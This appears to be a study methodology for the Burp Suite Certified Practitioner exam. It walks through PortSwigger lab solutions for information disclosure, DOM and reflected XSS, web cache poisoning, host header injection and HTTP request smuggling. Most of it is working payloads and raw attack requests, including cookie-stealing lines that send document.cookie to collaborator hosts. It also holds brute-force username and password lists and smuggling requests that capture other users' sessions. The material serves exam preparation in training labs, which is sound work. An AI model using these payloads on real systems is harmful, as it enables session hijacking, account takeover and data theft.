Jack's Burp Suite CP Methodology

Check List

Useful Resources

Enumeration

Foothold

Privilege Escalation

Data Exfiltration


Technical Insights

Information

About

About

What is the Burp Suite Certified Practitioner Exam?

The Burp Suite Certified Practitioner (BSCP) exam is a hands-on, practical assessment developed by PortSwigger, the creators of Burp Suite, to validate a candidate’s ability to discover, analyse, and exploit a variety of web application vulnerabilities using Burp Suite Professional. It is widely respected in the cybersecurity community as a challenging, real-world exam designed to mirror the workflows of professional penetration testers. The exam not only tests technical proficiency, but also examines the candidate’s ability to chain vulnerabilities, think laterally under time pressure, and maintain a methodical and efficient testing process.

Exam

Exam

What does the exam involve?

The exam takes place in a controlled online environment and consists of two separate web applications that must be compromised within a four-hour window. The objective is to exploit a sequence of vulnerabilities and eventually access a hidden flag stored on the file system at /home/carlos/secret.txt. Candidates are expected to use Burp Suite Professional for all aspects of the test, including intercepting and modifying requests, analysing responses, and automating tasks with tools such as Intruder and Repeater. Each application contains multiple layers of security, requiring thorough enumeration, creative problem-solving, and a clear understanding of web attack techniques.

Stage 1 – Initial Foothold

This stage focuses on gaining access to the target application as a low-privilege user, typically “Carlos”. It requires exploiting an authentication or session management flaw to compromise the user’s account. Cross-site scripting and HTTP request smuggling are also very common at this stage.

Stage 2 – Privilege Escalation

After gaining user-level access, you must escalate your privileges to gain administrative access. This usually involves identifying and exploiting authorisation, SQL injection or access control flaws within the application.

Stage 3 – Data Exfiltration

The final objective is to read and retrieve the contents of the flag file located at home/carlos/secret.txt. This typically requires chaining multiple vulnerabilities to gain file-system-level access or server-side code execution. Techniques often include exploiting insecure file uploads, remote code execution (RCE), directory traversal or SSRF attacks. Successful completion of this stage demonstrates advanced exploitation skills and the ability to deliver a complete attack chain under time constraints.

Prepare

Prepare

How to Prepare for the Exam

A focused and structured preparation strategy is essential for success. Although completing all the labs on PortSwigger’s Web Security Academy will be beneficial, it is recommended that you concentrate on the specific topics below.

Targeted Lab Categories

Prioritise labs on authentication, access control, business logic vulnerabilities, cross-site scripting (XSS), SQL injection and server-side vulnerabilities such as OS command injection and SSRF.

Mystery Labs

The “Mystery” labs on PortSwigger’s platform are highly valuable for preparation. These labs mimic the style of the exam and train you to efficiently identify and chain together multiple vulnerabilities within a single application.

Practice Exams

PortSwigger offers two practice exams that closely resemble the format and difficulty of the actual BSCP exam. It is strongly recommended that you complete both before attempting the real exam, as they provide insight into the pacing, complexity and expected techniques.

Username List

Username List

carlos
root
gregg
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
peter
wiener
C0nt3ntM4n4g3r
ansible
ec2-user
vagrant
azureuser
academico
acceso
carl
james
access
accounting
accounts
acid
activestat
ad
adam
adkit
admin
administracion
administrador
administrator
administrators
admins
ads
adserver
adsl
ae
af
affiliate
affiliates
afiliados
ag
agenda
agent
ai
aix
ajax
ak
akamai
al
alabama
alaska
albuquerque
alerts
alpha
alterwind
am
amarillo
americas
an
anaheim
analyzer
announce
announcements
antivirus
ao
ap
apache
apollo
app
app01
app1
apple
application
applications
apps
appserver
aq
ar
archie
arcsight
argentina
arizona
arkansas
arlington
as
as400
asia
asterix
at
athena
atlanta
atlas
att
au
auction
austin
auth
auto
autodiscover

Password List

Password List

C0nt3ntM4n4g3r
peter
wiener
carlos
gregg
rosebud
123456
password
12345678
qwerty
123456789
12345
admin
administrator
cheat
1234
onceuponatime
burp
portswigger
Peanut
Skippy
Peanut2019
111111
1234567
dragon
123123
baseball
abc123
football
monkey
montoya
letmein
content
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321
superman
1qaz2wsx
7777777
121212
000000
qazwsx
123qwe
killer
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
buster
soccer
harley
batman
andrew
tigger
sunshine
iloveyou
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
112233
george
computer
michelle
jessica
pepper
1111
zxcvbn
555555
11111111
131313
freedom
777777
pass
maggie
159753
aaaaaa
ginger
princess
joshua
cheese
amanda
summer
love
ashley
nicole
chelsea
biteme
matthew
access
yankees
987654321
dallas
austin
thunder
taylor
matrix
mobilemail
mom
monitor
monitoring
montana
moon
moscow
dbsuperpassword
gemini2
gemini

Lab Wordlist

Lab Wordlist

1
2
3
1.txt
2.txt
ai
api
accountapi
account-api
account_api
chat
history
help
helpline
halpline
hal
avatars
avatar
cgi-bin
phpinfo
/cgi-bin/phpinfo.php
phpinfo.php
cross
crossdomain
crossdomain.xml
domain
customtemplate
CustomTemplate.php
/libs/CustomTemplate.php
libs
lib
sitemap.xml
sitemap
info
pragma
ProductTemplate
ProductTemplate.java.bak
infoleak
leak
bypass
robots.txt
robots
robot
dev
development
tst
prd
prod
test
backup
/backup
.git
/.git/
invalid
authentication
admin-roles
attack
attacker
hack
hacker
hackers
java
AccessTokenUser.java
/backup/AccessTokenUser.java
ProductTemplate.java
/backup/ProductTemplate.java
/backup/ProductTemplate.java.bak
/post/comment/confirmation.zip
confirmation.zip
confirmation.bak
administrator-panel
administrator_panel
administratorpanel
/admin_panel/update_forgot_email/
update_forgot_email
confirmation.0
confirmation.old
confirmation.-old
backup.zip
source.zip
code.zip
secrets.zip
password.zip
info.zip
path
nextproduct
/admin
role-selector
roleselector
role
roles
selector
X-Custom-IP-Authorization: 127.0.0.1
localhost
trace
TRACE
hello
log_in
administrator
admin.conf
js
/resources/js/tracking.js
/resources/js/downloadReport.js
/resources/js/changeEmail.js
/resources/js/searchResults.js
/resources/js/stockCheck.js
/resources/js/xmlStockCheckPayload.js
xmlStockCheckPayload.js
stockCheck.js
stock
settings
setting
debug
searchResults.js
searchResults
downloadReport.js
downloadReport
download
download-transcript
transcript
load
loadimage
report
save-report
save_report
savereport
report.pdf
tracking.js
isloggedin
password
username
sign
sign-in
signin
sign_in
sign-out
sign_out
logout
logoff
comment
reg
registration
register
new
blog
posts
account
my-account
my_account
my-account-details
my_account_details
myaccount
myaccountdetails
myaccountdetail
my-account-details/change-email
my-account-details/update-email
new-password
new_password
refresh
version
ver
v1
v2
back
refreshpassword
refresh_password
refresh-password
post
resources
resource
image
images
/resources/images/tracker.gif
third-party
login
log-in
exploit
upload
files
productID
search_term
search-term
searchterm
term
searchadvanced
tracker
tracker.gif
id
email
mail
log
logs
page
forgot
forgot-password
forgotpassword
forgot_password
advance
adv
advanced
search
search_advanced
filteredsearch
filter
lookup
admin_panel
admin-panel
import
adminpanel
user_import
/admin_panel/user_import
admin_control
admincontrols
admin-controls
admin_controls
control
controls
admin
admins
deliver-to-victim
imagefile
blog_images
blog_image
/admin_controls/metrics/admin-image/
/admin_controls/metrics/blog_images/
/metrics/admin-image/
metrics
submit
metric
exam
apps
app
strut
struts
del
james
kettle
delete
apache
Apache
bscp
blog-image
blogimage
blog_image
admin-image
admin_image
adminimage
change
change-email
change_email
change-password
change_password
changepassword
changeemail
changeemail.js
update
patch
update-email
updateemail
update_email
users
add_users
removeuser
remove-user
remove_user
secret
secretkey
secret_key
home
carlos
product
productcatalog
products
/image/productcatalog/products/
Burp
Suite
Certified
Practitioner
all-labs

Focussed Scanning

Information

Information

Due to the limited time available during the exam, you should use focused scanning instead of full scans. Identify an area, such as an input that you believe is interesting, and use focused scanning on that input:

Right Click -> Scan Selected Insertion Point -> OK

Information Disclosure

Location

Location

Robots / Sitemap

Check these files for hidden directories!

/robots.txt

Source code

Check for developer comments revealing hidden paths

<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->

HTTP Methods

Check for HTTP methods such as TRACK or TRACE

TRACE /home HTTP/1.1

Error Messages

Try to invoke error messages for software version disclosures

https://0a77006d04a85f9c81486baf00ba0013.web-security-academy.net/product?productId=invalid

Directories

Brute force sensitive directories:

https://lab/.git

Exploit

Exploit

Information disclosure in error messages

In this lab, you can find a software version through a malformed URL:

https://0a77006d04a85f9c81486baf00ba0013.web-security-academy.net/product?productId=rrfger

Information disclosure on the debug page

In this lab, look through the developer comments to find the phpinfo page:

<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->

Source code disclosure via backup files

Go to /robots.txt and find /backup. This contains the database password:

https://0af400b204ed8003850458b5005f00df.web-security-academy.net/backup/ProductTemplate.java.bak

Authentication bypass via information disclosure

In this lab, you can use a TRACE method to find a header which is valid. Set this to 127.0.0.1 and access the admin portal:

GET /admin HTTP/2
Host: 0a9300c704f8a96c810c0249005d000e.web-security-academy.net
Cookie: session=pnoTsu8xJq05UczEbhvuXfFqun7LjW7b
X-Custom-IP-Authorization: 127.0.0.1

Information disclosure in version control history

In this lab there is an exposed /.git repository. Download this using:

wget -r https://LAB-ID/.git

This can then be opened with the GitHub Desktop. From here, you can view all previous commits. This reveals the admin password in the config file:

ADMIN_PASSWORD=6ao2455zzlc5bo3acda1

Tools

Tools

https://portswigger.net/web-security/information-disclosure/exploiting

Fuzzing

The following will fuzz for basic lab endpoints:

wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://Lab-ID.web-security-academy.net/FUZZ

Burp Content Discovery

Go to engagement tools in Burp, discover content Session is running

Location of exploit

Location of exploit

URL

The search bar is a common area for DOM-based XSS:

https://LAB/?search=PAYLOAD

Return Buttons

Some labs feature back buttons that return you to previous pages. These can be positioned to execute JavaScript when pressed:

https://LAB/feedback?returnPath=javascript:alert(1)

Hash Change

In some labs, payloads can be injected after a #:

https://LAB/#PAYLOAD

Stock Select

DOM-based XSS can occur where you can inject into the storeId and input a value into the dropdown:

https://LAB/product?productId=1&storeId=PAYLOAD

External Javascript Files

Look for files such as searchResults.js:

This may contain code that is vulnerable to DOM XSS.

Comment Feature

In stored DOM XSS labs, you can use the comment feature to pass dangerous JavaScript that will be used in a dangerous way.

csrf=4hinGtR7jFkGxFH08o9nAejd9PSWZ6BX&postId=8&comment=%3C%3E%3Cimg+src%3Dx+onerror%3Dalert%2810%29%3E&name=test&email=test%40twta.com&website=https%3A%2F%2Ftest.com

Unrestricted Web Messages

Look for code such as:

window.addEventListener('message', function(e) {
  • This may indicate you can send a message to the web page. If then processed by a sink, this can lead to XSS.

Cookies

Some labs use cookies as values that are passed to dangerous sinks:

cookie=PAYLOAD

Sources, Sinks and Methods

Look out for the following code in the source code. These may indicate DOM-based XSS:

document.write()
window.location
document.cookie
eval()
document.domain
WebSocket()
element.src
postMessage()
setRequestHeader()
FileReader.readAsText()
ExecuteSql()
sessionStorage.setItem()
document.evaluate()
JSON.parse
ng-app
URLSearchParams
replace()
innerHTML
location.search
addEventListener
sanitizeKey()

Exploit Concept

Exploit Concept

Fuzzer Payload

<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Burp Labs

DOM XSS in document.write sink using source location.search

In this lab, you can use an image tag to trigger the XSS.

https://LAB/?search=%22%27%3E%3Cimg%20src%20onerror=alert(1)%3E1%27%22%3C%3E

DOM XSS in innerHTML sink using source location.search

Once again, this lab can be exploited using an image tag:

https://LAB/?search=%22%27%3E%3Cimg%20src%20onerror=alert(1)%3E1%27%22%3C%3E

DOM XSS in jQuery anchor href attribute sink using location.search source

In this lab, you can poison a back button to trigger Javascript when pressed.

https://LAB/feedback?returnPath=javascript:alert(1)

DOM XSS in jQuery selector sink using a hash change event

In this lab, you can inject into a hash change. As it needs to be a change, you need to load in the page then change it:

<iframe src="https://LAB/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

DOM XSS in document.write sink using source location.search inside a select element

In this lab, you can inject into the stock check dropdown through the URL. You need to break out of the select first:

https://LAB/product?productId=1&storeId=%3C/select%3E%3Cimg%20src%20onerror=alert(1)%3E

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

In this lab, you need to notice that a vulnerable version of Angular is being used. The vulnerability is identified by noticing the search string is enclosed in an ng-app directive and /js/angular 1-7-7.js script included.

https://LAB/?search={{$on.constructor('alert(1)')()}}

Reflected DOM XSS

In this lab, you can reflect a payload that will break out of Javascript and create a DOM-based vulnerability.

https://LAB/?search=\"-alert(1)}//

Stored DOM XSS

In this lab, you can post a comment that will be interpreted in a dangerous way when the page is loaded. You need to add an extra <> at the front to break the sanitisation.

csrf=4hinGtR7jFkGxFH08o9nAejd9PSWZ6BX&postId=8&comment=%3C%3E%3Cimg+src%3Dx+onerror%3Dalert%2810%29%3E&name=test&email=test%40twta.com&website=https%3A%2F%2Ftest.com

DOM XSS using web messages

In this lab, the website does not specify where web messages can come from. This allows an attacker to send a malicious request that is then processed by the eval sink.

<iframe src="https://LAB/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

DOM XSS using web messages and a JavaScript URL

In this lab, you can send a post request that will redirect to a URL. The URL needs http or https to be valid. You can bypass this as follows:

<iframe src="https://LAB/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

DOM XSS using web messages and JSON.parse

This event listener expects a string that is parsed using JSON.parse(). In the JavaScript below, we can see that the event listener expects a type property and that the load-channel case of the switch statement changes the img src attribute.

<iframe src=https://LAB/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

DOM-based cookie manipulation

In this lab, the cookie is used as a location for a redirection button. The value can be broke out of and Javascript can be injected. Injecting the cookie requires redirecting the user:

<iframe src="https://LAB/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://LAB/';window.x=1;">

Exploits to perform action

Exploits to perform action

The main idea is to send the session cookie back to a collaborator link. This can be best achieved through the following:

document.location='https://OASTIFY.COM/?domxss='+document.cookie

For a more detailed guide on turning these payloads into exploits to steal cookies, it is recommended to refer to the [Burp Exam Guide](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study?tab=readme-ov-file#dom-based-xss for).

Tools to help

Tools to help

DOM Invader

For all of these labs, it is recommended to use DOM Invader. This is an easy way to see where your payload is injected.

Location

Location

Identify Allowed Tags

Basic XSS payloads to _identify_ application security filter controls for handling data received in HTTP requests.

<img src=1 onerror=alert(1)>
"><svg><animatetransform onbegin=alert(1)>
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Identify Stored XSS

Fuzzer payload:

<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>

Burp Labs

Burp Labs

1. Reflected XSS into HTML context with most tags and attributes blocked

In this lab, you can brute-force tags and event handlers. You can see that body and onresize are allowed. This can be exploited through an iframe that resizes when it loads:

search="><body onresize=print()>" onload=this.style.width='100px'>

2. Reflected XSS with some SVG markup allowed

In this lab you can brute-force the tags and event handlers until you find a payload that works:

Step 1: Intruder tags:

See that the following tags are allowed:
- svg
- animatetransform

Step 2: Brute-force event handlers:

See that the following tag is allowed:
- onbegin

Step 3: Build the payload:

"><svg><animatetransform onbegin=alert(1)>

3. Reflected XSS into HTML context with all tags blocked except custom ones

This lab allows you to make custom tags:

<script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>

4. Reflected XSS into a JavaScript string with single quote and backslash escaped

In this lab you need to break out of a <script> tag in the code:

</script><img src=jackmason onerror=alert(1)>

5. Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

In this lab you can break out of the context into script tags and call an alert. This can be done through:

\'-alert(1)//

6. Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

In this lab, you can take advantage of template injection to break out and alert (1)

${alert(1)}

Stored XSS

Test for stored XSS using the following payloads:

<img src="https://EXPLOIT.net/img">
<script src="https://EXPLOIT.net/script"></script>
<video src="https://EXPLOIT.net/video"></video>

Bypass

Bypass

Burp XSS Cheatsheet

Cheatsheet

Bypass WAF restrictions

The following lab walks you through how to bypass WAF restrictions when it states that tag is not allowed or event handler is not allowed.

You can use the above cheatsheet to brute-force all available tags and event handlers until you find some that are allowed.

Custom tags not blocked

The application responds with the message _“Tag is not allowed”_ when attempting to insert XSS payloads, but if we create a custom tag, it is bypassed.

<xss+id=x>#x';

_Identify_ if the above custom tag is not blocked in the search function, by observing the response. Create the below payload to steal the session cookie out-of-band.

<script>
location = 'https://TARGET.net/?search=<xss+id=x+onfocus=document.location='https://OASTIFY.COM/?c='+document.cookie tabindex=1>#x';
</script>

Using Global Variables

This is a good read which talks about how to use global variables to bypass input filters:

window<a href="window["document"]["cookie"]">"alert"</a>;
fetch(<code>{`https://OASTIFY.COM/?jsonc=`}</code> + window["document"]["cookie"])

Resources

Resources

XSS Cheatsheet

XSS Cheatsheet

XSS Github

XSS Github

XSS Cookie Stealers

XSS Cookie Stealers

Location-of-exploit

Location of exploit

Cache Hit

Look out for the following in the responses:

Cache-Control: max-age=30
Age: 6
X-Cache: hit

Cookies

Sometimes cookies are un-keyed and can be used to poison the cache:

fehost=jackmason"-alert(1)-"jack

Query Strings

This is rare but may be possible.

GET /?attack=PAYLOAD

Query Parameters

This is where only certain parameters are excluded from the cache key:

GET /?utm_content=jackmason'/><script>alert(1)</script>

Common Headers

X-Forwarded-Host:
X-Forwarded-Scheme:

External js files

Look out for the following js files which you can poison:

/resources/js/tracking.js
/js/geolocate.js

Exam

Exam

In the exam, you are going to try and inject Cross-Site Scripting through the /resources/js/tracking.js file. Look out for the following:

/resources/js/tracking.js

Age: 0
X-Cache: hit

If you get both of these, try to inject your exploit server through the X-Forwarded-Host header. If this works, use the following payload on your exploit server:

document.write('<img src="http://burp.oastify.com?c='+document.cookie+'" />')

Burp-labs

Burp Labs

Exploiting cache design flaws

Link to Burp Labs: Burp Labs

1. Web cache poisoning with an unkeyed header

This is a super simple lab, run Param Miner, and find that X-Forwarded-Host is a hidden header. Inject your exploit server as this header. See that it replaces a JavaScript file path. Then run JavaScript on your exploit server to pop an alert:

X-Forwarded-Host: EXPLOIT-SERVER

URL: https://EXPLOIT-SERVER/resources/js/tracking.js

alert(document.cookie)

2. Web cache poisoning with an unkeyed cookie

In this lab, you can inject into a cookie which is not cached and included in JavaScript:

fehost=jackmason"-alert(1)-"jack

3. Web cache poisoning with multiple headers

This lab is a difficult one. You need to find two headers to inject into. The X-Forwarded-Scheme: makes the website redirect and the X-Forwarded-Host: header tells the page where to redirect to. This can be exploited by telling the /resources/js/tracking.js file to redirect to your exploit server:

GET /resources/js/tracking.js HTTP/2

X-Forwarded-Scheme: https1
X-Forwarded-Host: EXPLOIT-SERVER

https://EXPLOIT-SERVER/resources/js/tracking.js
alert(document.cookie)

4. Targeted web cache poisoning using an unknown header

This lab is very interesting. The user agent is keyed so that you can only perform self XSS. To complete this lab, you need to find the victim’s User-Agent. This can be achieved by posting an image with the src to your exploit server.

<img src=Exploit Server>

Then use this user agent in the access log as your own.

Find the unkeyed header with Param Miner and poison the file:
X-Host: Exploit Server

This will deliver your payload to the victim.

5. Web cache poisoning via ambiguous requests

This lab combines both host header injection and web cache poisoning. The host header is un-keyed and replaced with your exploit server. There is some simple validation that can be bypassed with two Host headers:

GET / HTTP/1.1
Host: LAB
Host: Exploit Server

Exploiting cache implementation flaws

Link to Burp Labs: Burp Labs

6. Web cache poisoning via an unkeyed query string

The query string is in the URL. In this lab, you can inject a payload after the ? that is cached.

GET /?attack='/><script>alert(1)</script>

7. Web cache poisoning via an unkeyed query parameter

In this lab, the parameter utm_content is un-keyed.

GET /?utm_content=jackmason'/><script>alert(1)</script> HTTP/2

8. Parameter cloaking

In this lab, you can cloak a query parameter using a ; which acts as a delimiter. With this, you can poison an external file: /js/geolocate.js:

GET /js/geolocate.js?callback=setCountryCookie&utm_content=jack;callback=alert(1)// HTTP/2

9. Web cache poisoning via a fat GET request

In this lab, you can send a fat GET request (a GET request with a parameter) to cache a value:

GET /js/geolocate.js?callback=setCountryCookie HTTP/2

callback=alert(1)//

Tools-to-help

Tools to help

Param Miner

Param Miner is your best friend for these labs. Most of the time, it will find the unkeyed headers/query strings and even sometimes perform cache poisoning for you. The easiest way to use it is to Guess Everything!

Host Header Injection

Location

Location

The best place to look for this exploit is by modifying the Host header. However, this exploit can still be achieved through custom headers.

Other headers:

X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

Password Reset Exploit

A good place to look to exploit this issue is on the forgotten password functionality. Change the Host to your exploit server and the username field to that of your target’s. You might then receive the forgotten password token in your access log:

POST /forgot-password HTTP/2
Host: exploit.server

...

csrf=x&username=TARGET

Burp-labs

Burp Labs

Link to Burp Labs: Burp Labs

1. Host header authentication bypass

This is a very simple lab. The admin panel is only available to localhost.

GET /admin HTTP/2
Host: localhost

2. Routing-based SSRF

In this lab, it’s possible to perform an SSRF attack and scan an internal network via the host header.

First, add the collaborator as the host header. You will get a lookup.

Then change it to 192.168.0.1 and intrude up to 255.

Find the admin panel and delete carlos.

3. SSRF via flawed request parsing

In this lab, you need to bypass validation by using an absolute URL:

POST https://LAB/admin/delete HTTP/2
Host: 192.168.0.150

username=carlos&csrf=c9rH6r9o5zyRnlO7l67HxG6LNHYChJwC

4. Host validation bypass via connection state attack

This lab is good. You can only do SSRF if in the same connection state as a valid request.

To complete this lab, do the following:
1. Group a normal request and a malicious request.
2. Send these in sequence.
3. See that the malicious request goes through.
4. Edit the IP address.
5. Find the admin panel and delete carlos.

POST /admin/delete HTTP/1.1
Host: 192.168.0.1
...

username=carlos&csrf=tfCbBWdq2fTtFBQo2rehDvfllzcjjaXT

5. Basic password reset poisoning

This is a good lab and very applicable. You can reset your password and poison the link that contains the reset token. This will make Carlos reset his password and give you the link:

POST /forgot-password HTTP/2
Host: exploit-SERVER

csrf=3oFzpOtZlUPrz0Dv3PATfO6iurNwfYEU&username=carlos

6. Dangling markup

Host: web-security-academy.net:'<a href="http://burp-collaborator.com?

Bypass

Bypass

Here are some simple bypasses against common defences:

Check for flawed validation

Instead of receiving an "Invalid Host header" response, you might find that your request is blocked by a security measure. For example, some sites validate whether the Host header matches the SNI from the TLS handshake.

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

Inject duplicate Host headers

Try adding duplicate Host headers to see if developers have overlooked this possibility. For example:

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

Supply an absolute URL

Ambiguities between the request line and the Host header can expose inconsistencies. Example:

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

Indent HTTP headers

Servers may misinterpret indented headers. This technique can help bypass validation:

GET /example HTTP/1.1
    Host: bad-stuff-here
Host: vulnerable-website.com

Inject host override headers

Use X-Forwarded-Host to inject input while bypassing validation on the Host header:

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

Identify

Identify

CL.TE

In these labs, the front-end server uses the Content-Length header, and the back-end server uses the Transfer-Encoding header.

  • You don’t need to update the content length

Basic Example:

POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GPOST /404 HTTP/1.1
Foo: x

TE.CL

Here, the front-end server uses the Transfer-Encoding header, and the back-end server uses the Content-Length header.

Requirements

  • You need to set the Content-Length so it does not update.
  • You need a trailing
  • The number above, i.e. 5c, needs to be the HEX value of the content from GPOST up to, but not including, the 0.
  • The content length needs to be greater than what is below it

Basic Example

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

TE.TE

Here, the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

Requirements

  • You need to set the Content-Length so it does not update.
  • You need a trailing
  • The number above, i.e. 5c, needs to be the HEX value of the content from GPOST up to, but not including, the 0.
  • The content length needs to be greater than what is below it
  • You need to find a way to obfuscate the TE header

Basic example

In this example, the front end rejects the headers as it does not accept two, but the backend does accept the headers.

POST / HTTP/1.1
Host: web-security-academy.net
Te: trailers
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xchunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Exam Exploits

Exam Exploits

Bypass front restrictions

HTTP Request Smuggling can be used to access areas of the application that might not otherwise be reachable, such as the /admin panel.

POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
  • View labs 4 and 5

Capture Users Requests

This can be used to steal session tokens and anything else in a user’s header. This is only possible when it is possible to post a comment or similar functionality.

POST / HTTP/1.1
Host: web-security-academy.net
Content-Length: 231
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Cookie: session=fYN0YMQL87XWdW0d2qhSJN5ATCkXmyFQ
Content-Length: 900

name=test&email=test@test.com&website=https://www.tets.com&comment=test

x=
  • View labs 6, 7 and 10

Deliver XSS

As you can control a user request, it may be possible to deliver self-XSS. This can be used to steal session cookies.

POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 168

0

GET /post?postId=6 HTTP/1.1
Host: 0aa6000503f91bd081c0110100730073.web-security-academy.net
User-Agent: "><script>alert(1)</script>jack//
Content-Length:5

x=
  • View lab 8

Poison Redirects

If a web page is vulnerable to self-redirection attacks, it is possible to call in external payloads from an exploit server:

POST / HTTP/2
Host: web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: exploit.exploit-server.net
Content-Length: 10

x=
  • View lab 9

All Labs

All Labs

Identifying HTTP Request Smuggling

1. HTTP request smuggling, basic CL.TE vulnerability

Super simple lab. You need to smuggle a GPOST request:

POST / HTTP/1.1
Host: 0a24002a0404372980befe9c00fe002d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GPOST /404 HTTP/1.1
Foo: x

2. HTTP request smuggling, basic TE.CL vulnerability

Again, another simple lab to smuggle GPOST:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

3. HTTP request smuggling, obfuscating the TE header

This is a lab where you need to obfuscate the second TE header.

POST / HTTP/1.1
Host: web-security-academy.net
Te: trailers
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xchunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Exploiting Issues

4. Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

In this lab, you can access the backend /admin panel by smuggling a request. You are not allowed duplicate headers, so need to set x= and a content length so that the following HOST header is not interpreted:

POST / HTTP/1.1
Host: web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 108

e
q=smuggling&x=
0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 6

x=

5. Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

This lab is very similar, apart from it being TE.CL

POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

87
GET /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 15

x=1
0

6. Exploiting HTTP request smuggling to reveal front-end request rewriting

This lab is good. You need to grab your own request made to the backend. This can be done through the comments section.

Request 1:

POST / HTTP/1.1
Host: 0a3d00f703bdb0f380ef0d4d005000ba.web-security-academy.net
Content-Length: 291
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: 0a3d00f703bdb0f380ef0d4d005000ba.web-security-academy.net
Cookie: session=XcvXo9piO7E1qBkMHvq1LA8MmDvKYQUM
Content-Length: 750

csrf=r50LyzY87xNHYlKrtYcS5kWRM8hL6Ppm&postId=10&name=test&email=test@test.com&website=https://www.tets.com&comment=test

Request 2:

POST / HTTP/1.1
Host: 0a3d00f703bdb0f380ef0d4d005000ba.web-security-academy.net
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Content-Length: 10
X-CnIULo-Ip: 127.0.0.1

x=

7. Exploiting HTTP request smuggling to capture other users’ requests

It’s the same as the previous lab, except you are stealing another user’s request for their session cookie:

POST / HTTP/1.1
Host: web-security-academy.net
Content-Length: 231
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Cookie: session=fYN0YMQL87XWdW0d2qhSJN5ATCkXmyFQ
Content-Length: 900

csrf=MNok9WDvuYVkOMOpc1aTn3AiEt4M8gPk&postId=2&name=test&email=test@test.com&website=https://www.tets.com&comment=test

x=

8. Exploiting HTTP request smuggling to deliver reflected XSS

This is a good lab and also very applicable to the exam. You need to deliver XSS to another user through the user agent header:

POST / HTTP/1.1
Host: web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 168

0

GET /post?postId=6 HTTP/1.1
Host: 0aa6000503f91bd081c0110100730073.web-security-academy.net
User-Agent: "><script>alert(1)</script>jack//
Content-Length:5

x=

HTTP/2 request smuggling

9. H2.CL request smuggling

This is an easy lab in context but hard to understand. You need to poison the request to redirect to your exploit server. This can be done by setting a Content-Length of 0:

POST / HTTP/2
Host: web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: exploit.exploit-server.net
Content-Length: 10

x=

10. HTTP/2 request smuggling via CRLF injection

